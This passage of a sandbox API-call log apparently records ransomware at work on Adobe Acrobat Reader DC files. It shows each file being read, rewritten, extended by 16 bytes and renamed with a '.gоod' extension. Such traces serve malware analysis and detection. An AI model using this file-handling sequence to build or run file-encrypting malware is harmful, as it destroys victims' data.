(x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\license.txt"), fInfoLevelId=0x0, lpFileInformation=0x32dd070 | out: lpFileInformation=0x32dd070*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x190e7af4, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x69b)) returned 1 [0083.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0083.850] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt", lpFilePart=0x0) returned 0x49 [0083.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0083.850] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\license.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0083.850] GetFileType (hFile=0x768) returned 0x1 [0083.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0083.850] GetFileType (hFile=0x768) returned 0x1 [0083.850] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x69b [0083.850] ReadFile (in: hFile=0x768, lpBuffer=0x32dd9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x32dd9b8*, lpNumberOfBytesRead=0x1f35bf48*=0x69b, lpOverlapped=0x0) returned 1 [0083.873] CloseHandle (hObject=0x768) returned 1 [0084.192] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt", lpFilePart=0x0) returned 0x49 [0084.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0084.193] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\license.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7a0 [0084.194] GetFileType (hFile=0x7a0) returned 0x1 [0084.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0084.194] GetFileType (hFile=0x7a0) returned 0x1 [0084.194] WriteFile (in: hFile=0x7a0, lpBuffer=0x3515240*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x3515240*, lpNumberOfBytesWritten=0x1f35be58*=0x6a0, lpOverlapped=0x0) returned 1 [0084.195] CloseHandle (hObject=0x7a0) returned 1 [0084.196] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt", lpFilePart=0x0) returned 0x49 [0084.196] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt.gоod", lpFilePart=0x0) returned 0x4e [0084.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0084.196] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\license.txt"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x190e7af4, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2e6696ea, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6a0)) returned 1 [0084.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0084.196] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\license.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\license.txt.gоod")) returned 1 [0084.197] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\natives_blob.bin", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\natives_blob.bin", lpFilePart=0x0) returned 0x4e [0084.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0084.197] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\natives_blob.bin" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\natives_blob.bin"), fInfoLevelId=0x0, lpFileInformation=0x3517958 | out: lpFileInformation=0x3517958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaaadbf3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0084.198] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\natives_blob.bin", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\natives_blob.bin", lpFilePart=0x0) returned 0x4e [0084.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0084.198] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\natives_blob.bin" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\natives_blob.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7a0 [0084.198] GetFileType (hFile=0x7a0) returned 0x1 [0084.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0084.198] GetFileType (hFile=0x7a0) returned 0x1 [0084.199] GetFileSize (in: hFile=0x7a0, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x0 [0084.199] CloseHandle (hObject=0x7a0) returned 1 [0084.708] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\natives_blob.bin", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\natives_blob.bin", lpFilePart=0x0) returned 0x4e [0084.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0084.708] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\natives_blob.bin" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\natives_blob.bin"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0084.709] GetFileType (hFile=0x6b4) returned 0x1 [0084.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0084.709] GetFileType (hFile=0x6b4) returned 0x1 [0084.709] WriteFile (in: hFile=0x6b4, lpBuffer=0x3366c48*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x3366c48*, lpNumberOfBytesWritten=0x1f35be58*=0x10, lpOverlapped=0x0) returned 1 [0084.710] CloseHandle (hObject=0x6b4) returned 1 [0084.710] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\natives_blob.bin", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\natives_blob.bin", lpFilePart=0x0) returned 0x4e [0084.710] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\natives_blob.bin.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\natives_blob.bin.gоod", lpFilePart=0x0) returned 0x53 [0084.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0084.710] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\natives_blob.bin" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\natives_blob.bin"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaaadbf3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2eb53426, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0084.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0084.710] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\natives_blob.bin" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\natives_blob.bin"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\natives_blob.bin.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\natives_blob.bin.gоod")) returned 1 [0084.711] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe", lpFilePart=0x0) returned 0x48 [0084.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0084.711] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\rdrcef.exe"), fInfoLevelId=0x0, lpFileInformation=0x3367f08 | out: lpFileInformation=0x3367f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdb54228e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xbff7f0)) returned 1 [0084.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0084.712] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe", lpFilePart=0x0) returned 0x48 [0084.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0084.712] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\rdrcef.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0084.712] GetFileType (hFile=0x6b4) returned 0x1 [0084.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0084.712] GetFileType (hFile=0x6b4) returned 0x1 [0084.712] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0084.712] ReadFile (in: hFile=0x6b4, lpBuffer=0x3368320, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x3368320*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0084.713] CloseHandle (hObject=0x6b4) returned 1 [0084.714] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe", lpFilePart=0x0) returned 0x48 [0084.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0084.714] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\rdrcef.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0084.714] GetFileType (hFile=0x6b4) returned 0x1 [0084.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0084.714] GetFileType (hFile=0x6b4) returned 0x1 [0084.714] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0xbff7f0 [0084.714] WriteFile (in: hFile=0x6b4, lpBuffer=0x336a7c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x336a7c0*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0084.715] CloseHandle (hObject=0x6b4) returned 1 [0084.716] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe", lpFilePart=0x0) returned 0x48 [0084.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0084.716] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\rdrcef.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0084.716] GetFileType (hFile=0x6b4) returned 0x1 [0084.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0084.716] GetFileType (hFile=0x6b4) returned 0x1 [0084.716] ReadFile (in: hFile=0x6b4, lpBuffer=0x336caa0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x336caa0*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0085.345] CloseHandle (hObject=0x6b4) returned 1 [0085.347] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe", lpFilePart=0x0) returned 0x48 [0085.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0085.347] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\rdrcef.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0085.349] GetFileType (hFile=0x6b4) returned 0x1 [0085.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0085.364] GetFileType (hFile=0x6b4) returned 0x1 [0085.950] WriteFile (in: hFile=0x6b4, lpBuffer=0x32fac40*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x32fac40*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0085.950] CloseHandle (hObject=0x6b4) returned 1 [0085.950] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe", lpFilePart=0x0) returned 0x48 [0085.950] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe.gоod", lpFilePart=0x0) returned 0x4d [0085.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0085.950] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\rdrcef.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdb54228e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2f718b0c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbff800)) returned 1 [0085.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0085.951] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\rdrcef.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\rdrcef.exe.gоod")) returned 1 [0085.964] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrServicesUpdater.exe", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrServicesUpdater.exe", lpFilePart=0x0) returned 0x54 [0085.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0085.964] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrServicesUpdater.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\rdrservicesupdater.exe"), fInfoLevelId=0x0, lpFileInformation=0x33771e8 | out: lpFileInformation=0x33771e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdbc431b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x13279f0)) returned 1 [0085.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0085.964] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrServicesUpdater.exe", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrServicesUpdater.exe", lpFilePart=0x0) returned 0x54 [0085.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0085.964] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrServicesUpdater.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\rdrservicesupdater.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0085.964] GetFileType (hFile=0x6b4) returned 0x1 [0085.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0085.964] GetFileType (hFile=0x6b4) returned 0x1 [0085.965] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0085.965] ReadFile (in: hFile=0x6b4, lpBuffer=0x3377660, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x3377660*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0085.966] CloseHandle (hObject=0x6b4) returned 1 [0085.966] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrServicesUpdater.exe", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrServicesUpdater.exe", lpFilePart=0x0) returned 0x54 [0085.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0085.966] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrServicesUpdater.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\rdrservicesupdater.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0085.966] GetFileType (hFile=0x6b4) returned 0x1 [0085.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0085.966] GetFileType (hFile=0x6b4) returned 0x1 [0085.966] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x13279f0 [0085.967] WriteFile (in: hFile=0x6b4, lpBuffer=0x3378958*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x3378958*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0085.968] CloseHandle (hObject=0x6b4) returned 1 [0085.968] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrServicesUpdater.exe", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrServicesUpdater.exe", lpFilePart=0x0) returned 0x54 [0085.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0085.968] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrServicesUpdater.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\rdrservicesupdater.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0085.968] GetFileType (hFile=0x6b4) returned 0x1 [0085.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0085.968] GetFileType (hFile=0x6b4) returned 0x1 [0085.968] ReadFile (in: hFile=0x6b4, lpBuffer=0x337ac48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x337ac48*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0086.664] CloseHandle (hObject=0x6b4) returned 1 [0086.664] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrServicesUpdater.exe", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrServicesUpdater.exe", lpFilePart=0x0) returned 0x54 [0086.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 